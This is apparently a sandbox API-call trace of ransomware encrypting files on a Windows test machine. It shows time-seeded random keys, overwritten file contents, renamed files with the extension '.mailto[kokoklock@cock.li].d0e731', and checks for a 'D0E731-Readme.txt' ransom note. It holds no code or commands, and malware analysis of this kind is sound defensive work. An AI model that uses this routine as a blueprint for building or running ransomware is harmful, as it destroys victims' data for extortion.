lpNumberOfBytesWritten=0x181ff988*=0x20, lpOverlapped=0x0) returned 1 [0172.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x30541e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x30541e0*, lpNumberOfBytesWritten=0x181ff99c*=0x8, lpOverlapped=0x0) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x181ff9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x181ff9b4*, lpNumberOfBytesWritten=0x181ff99c*=0x4, lpOverlapped=0x0) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x181ff99c*=0x4, lpOverlapped=0x0) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x181ff99c*=0x6c, lpOverlapped=0x0) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x181ff99c*=0x20, lpOverlapped=0x0) returned 1 [0172.989] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x181ff99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x181ff99c*=0x4, lpOverlapped=0x0) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30541b8) returned 1 [0172.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30541e0) returned 1 [0172.989] CloseHandle (hObject=0x584) returned 1 [0172.990] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4760 [0172.990] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" [0172.990] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.990] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0172.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013440 [0172.994] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.994] wcscat (in: _Dest=0x3013440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.994] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0172.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f80) returned 1 [0172.994] RtlExitUserThread (Status=0x1) Thread: id = 2085 os_tid = 0x117c [0172.996] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.996] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.996] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x1827f810 | out: lpFileSize=0x1827f810*=59657) returned 1 [0172.996] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xe905, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.996] ReadFile (in: hFile=0x584, lpBuffer=0x1827f7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1827f7e4*, lpNumberOfBytesRead=0x1827f7e0*=0x4, lpOverlapped=0x0) returned 1 [0172.998] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0172.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c90 [0172.998] NtQuerySystemTime (in: CurrentTime=0x1827f7bc | out: CurrentTime=0x1827f7bc*=132121213303108038) returned 0x0 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x8add3e2d [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xe65199b [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xec3d3f36 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xa9f0abf1 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x5905c7d7 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x5b589650 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xd66e457c [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x956e67b4 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xc23d0b23 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x81c24716 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xb9f07bc2 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x1a9e33d [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x4eb7a6a7 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x5f93b056 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xa5d3e28b [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x596faf3a [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x8055b2e8 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x558b9048 [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x3be7c9af [0172.998] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x22fc13f5 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x7636fab5 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x2740e673 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xae80de75 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x3f91171b [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x54a990 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x2e0efddd [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x842a674c [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x66864ba8 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x26566a41 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0xd00b8e8d [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x45ad48f7 [0172.999] RtlRandom (in: Seed=0x1827f7c8 | out: Seed=0x1827f7c8) returned 0x5a00b5e6 [0173.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013080 [0173.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013080) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0173.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.010] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.010] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1827f794, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1827f794*=0x4096, lpOverlapped=0x0) returned 1 [0173.011] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0173.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013710 [0173.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054028 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054028) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013710) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0173.012] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1827f794, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1827f794*=0x4096, lpOverlapped=0x0) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.012] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xe909, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.012] WriteFile (in: hFile=0x584, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1827f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x1827f7cc*=0x20, lpOverlapped=0x0) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.012] WriteFile (in: hFile=0x584, lpBuffer=0x3053df8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3053df8*, lpNumberOfBytesWritten=0x1827f7e0*=0x8, lpOverlapped=0x0) returned 1 [0173.012] WriteFile (in: hFile=0x584, lpBuffer=0x1827f7f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1827f7f8*, lpNumberOfBytesWritten=0x1827f7e0*=0x4, lpOverlapped=0x0) returned 1 [0173.013] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1827f7e0*=0x4, lpOverlapped=0x0) returned 1 [0173.013] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1827f7e0*=0x6c, lpOverlapped=0x0) returned 1 [0173.013] WriteFile (in: hFile=0x584, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x1827f7e0*=0x20, lpOverlapped=0x0) returned 1 [0173.013] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1827f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1827f7e0*=0x4, lpOverlapped=0x0) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.013] CloseHandle (hObject=0x584) returned 1 [0173.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d068 [0173.013] wcscpy (in: _Dest=0x2f6d068, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" [0173.013] wcscat (in: _Dest=0x2f6d068, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.013] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.015] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d068) returned 1 [0173.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30135a8 [0173.016] wcscpy (in: _Dest=0x30135a8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0173.016] wcscat (in: _Dest=0x30135a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0173.016] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0173.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30135a8) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a968) returned 1 [0173.016] RtlExitUserThread (Status=0x1) Thread: id = 2086 os_tid = 0x1180 [0173.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx")) returned 0x20 [0174.608] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0174.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.608] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x182ff83c | out: lpFileSize=0x182ff83c*=0) returned 1 [0174.608] CloseHandle (hObject=0x840) returned 1 [0174.608] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0174.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f64ad0) returned 1 [0174.609] RtlExitUserThread (Status=0x0) Thread: id = 2087 os_tid = 0x1184 [0173.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87958 [0173.018] wcscpy (in: _Dest=0x2f87958, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" [0173.018] wcscat (in: _Dest=0x2f87958, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\" [0173.018] wcscat (in: _Dest=0x2f87958, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*" [0173.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30218b0 [0173.019] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30457a8 [0174.610] wcscmp (_String1=".", _String2=".") returned 0 [0174.610] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.610] wcscmp (_String1="..", _String2=".") returned 1 [0174.610] wcscmp (_String1="..", _String2="..") returned 0 [0174.610] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0174.610] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0174.610] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0174.610] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0174.610] FindClose (in: hFindFile=0x30457a8 | out: hFindFile=0x30457a8) returned 1 [0174.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30218b0) returned 1 [0174.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87958) returned 1 [0174.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87f08) returned 1 [0174.610] RtlExitUserThread (Status=0x0) Thread: id = 2088 os_tid = 0x1188 [0173.024] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.025] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0173.025] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x183ffcf0 | out: lpFileSize=0x183ffcf0*=11954) returned 1 [0173.025] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x2eae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.025] ReadFile (in: hFile=0x584, lpBuffer=0x183ffcc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x183ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x183ffcc4*, lpNumberOfBytesRead=0x183ffcc0*=0x4, lpOverlapped=0x0) returned 1 [0173.026] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ba0 [0173.027] NtQuerySystemTime (in: CurrentTime=0x183ffc9c | out: CurrentTime=0x183ffc9c*=132121213303440317) returned 0x0 [0173.027] RtlRandom (in: Seed=0x183ffca8 | out: Seed=0x183ffca8) returned 0xedfb0bb8 